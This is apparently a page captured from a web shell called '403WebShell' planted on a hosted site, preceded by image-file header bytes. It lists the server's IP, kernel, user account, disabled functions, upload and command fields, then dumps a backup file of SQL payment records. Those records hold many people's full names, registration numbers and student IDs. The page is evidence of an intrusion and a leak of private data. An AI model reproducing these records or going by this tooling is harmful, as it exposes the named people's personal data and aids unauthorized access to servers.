JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.100.133  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/backup_part_aw
(54031, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2025-09-01', 'September 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54032, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2025-10-01', 'Oktober 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54033, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2025-11-01', 'November 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54034, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2025-12-01', 'Desember 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54035, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-01-01', 'Januari 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54036, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-02-01', 'Februari 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54037, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-03-01', 'Maret 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54038, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-04-01', 'April 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54039, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-05-01', 'Mei 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54040, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-06-01', 'Juni 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54041, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-07-01', 'Juli 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54042, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-08-01', 'Agustus 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54043, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-09-01', 'September 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54044, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-10-01', 'Oktober 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54045, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-11-01', 'November 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54046, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2026-12-01', 'Desember 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54047, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-01-01', 'Januari 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54048, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-02-01', 'Februari 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54049, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-03-01', 'Maret 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54050, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-04-01', 'April 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54051, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-05-01', 'Mei 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54052, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-06-01', 'Juni 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54053, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-07-01', 'Juli 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54054, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-08-01', 'Agustus 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54055, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-09-01', 'September 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54056, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-10-01', 'Oktober 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54057, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-11-01', 'November 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54058, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2027-12-01', 'Desember 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54059, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-01-01', 'Januari 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54060, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-02-01', 'Februari 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54061, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-03-01', 'Maret 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54062, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-04-01', 'April 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54063, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-05-01', 'Mei 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54064, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-06-01', 'Juni 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54065, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-07-01', 'Juli 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54066, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-08-01', 'Agustus 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54067, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-09-01', 'September 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54068, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-10-01', 'Oktober 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54069, 'CHRISTINE ELIZABETH SURYAJAYA ', 'REK180823IUR9493', 'IDB170122002093', '2028-11-01', 'November 2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54070, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2023-08-17', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(54071, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2023-09-17', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2023'),
(54072, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2023-10-17', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(54073, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2023-11-17', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(54074, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2023-12-17', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(54075, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-01-17', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(54076, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-02-17', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(54077, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-03-17', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2024'),
(54078, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-04-17', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2024'),
(54079, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-05-17', 'Mei \r\n									2024', NULL, 30000, NULL, 'valid', '', '2024'),
(54080, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-06-17', 'Juni \r\n									2024', NULL, 30000, NULL, 'valid', '', '2024'),
(54081, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-07-17', 'Juli \r\n									2024', NULL, 30000, NULL, 'valid', '', '2024'),
(54082, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-08-17', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(54083, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-09-17', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2024'),
(54084, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-10-17', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(54085, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-11-17', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(54086, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2024-12-17', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(54087, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-01-17', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2025'),
(54088, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-02-17', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2025'),
(54089, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-03-17', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2025'),
(54090, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-04-17', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2025'),
(54091, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-05-17', 'Mei \r\n									2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54092, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-06-17', 'Juni \r\n									2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54093, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-07-17', 'Juli \r\n									2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54094, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-08-17', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2025'),
(54095, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-09-17', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2025'),
(54096, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-10-17', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2025'),
(54097, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-11-17', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2025'),
(54098, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2025-12-17', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2025'),
(54099, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-01-17', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(54100, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-02-17', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(54101, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-03-17', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2026'),
(54102, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-04-17', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2026'),
(54103, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-05-17', 'Mei \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54104, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-06-17', 'Juni \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54105, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-07-17', 'Juli \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54106, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-08-17', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(54107, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-09-17', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2026'),
(54108, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-10-17', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2026');
INSERT INTO `d_bulan` (`idspp`, `nama`, `noreg`, `npm`, `jatuhtempo`, `bulan`, `tglbayar`, `jumlah`, `ket`, `status`, `buktitrans`, `tahun`) VALUES
(54109, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-11-17', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(54110, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2026-12-17', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(54111, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-01-17', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
(54112, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-02-17', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2027'),
(54113, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-03-17', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2027'),
(54114, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-04-17', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2027'),
(54115, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-05-17', 'Mei \r\n									2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54116, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-06-17', 'Juni \r\n									2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54117, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-07-17', 'Juli \r\n									2027', NULL, 30000, NULL, 'valid', '', '2027'),
(54118, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-08-17', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
(54119, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-09-17', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2027'),
(54120, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-10-17', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
(54121, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-11-17', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2027'),
(54122, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2027-12-17', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2027'),
(54123, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2028-01-17', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2028'),
(54124, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2028-02-17', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2028'),
(54125, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2028-03-17', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2028'),
(54126, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2028-04-17', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2028'),
(54127, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2028-05-17', 'Mei \r\n									2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54128, 'Rifqy Wahyu Mochamad Ihsan', 'RAB170823000914', 'IDB100823308054', '2028-06-17', 'Juni \r\n									2028', NULL, 30000, NULL, 'valid', '', '2028'),
(54129, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2023-08-15', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(54130, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2023-09-15', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2023'),
(54131, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2023-10-15', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(54132, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2023-11-15', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(54133, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2023-12-15', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(54134, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-01-15', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(54135, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-02-15', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(54136, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-03-15', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2024'),
(54137, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-04-15', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2024'),
(54138, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-05-15', 'Mei \r\n									2024', NULL, 30000, NULL, 'valid', '', '2024'),
(54139, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-06-15', 'Juni \r\n									2024', NULL, 30000, NULL, 'valid', '', '2024'),
(54140, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-07-15', 'Juli \r\n									2024', NULL, 30000, NULL, 'valid', '', '2024'),
(54141, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-08-15', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(54142, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-09-15', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2024'),
(54143, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-10-15', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(54144, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-11-15', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(54145, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2024-12-15', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(54146, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-01-15', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2025'),
(54147, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-02-15', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2025'),
(54148, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-03-15', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2025'),
(54149, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-04-15', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2025'),
(54150, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-05-15', 'Mei \r\n									2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54151, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-06-15', 'Juni \r\n									2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54152, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-07-15', 'Juli \r\n									2025', NULL, 30000, NULL, 'valid', '', '2025'),
(54153, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-08-15', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2025'),
(54154, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-09-15', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2025'),
(54155, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-10-15', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2025'),
(54156, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-11-15', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2025'),
(54157, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2025-12-15', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2025'),
(54158, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-01-15', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(54159, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-02-15', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(54160, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-03-15', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2026'),
(54161, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-04-15', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2026'),
(54162, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-05-15', 'Mei \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54163, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-06-15', 'Juni \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54164, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-07-15', 'Juli \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(54165, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-08-15', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(54166, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-09-15', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2026'),
(54167, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-10-15', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(54168, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-11-15', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(54169, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2026-12-15', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(54170, 'dr. Benediktus Kevin Andrien', 'RAB150823000912', 'IDB150823308073', '2027-01-15', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
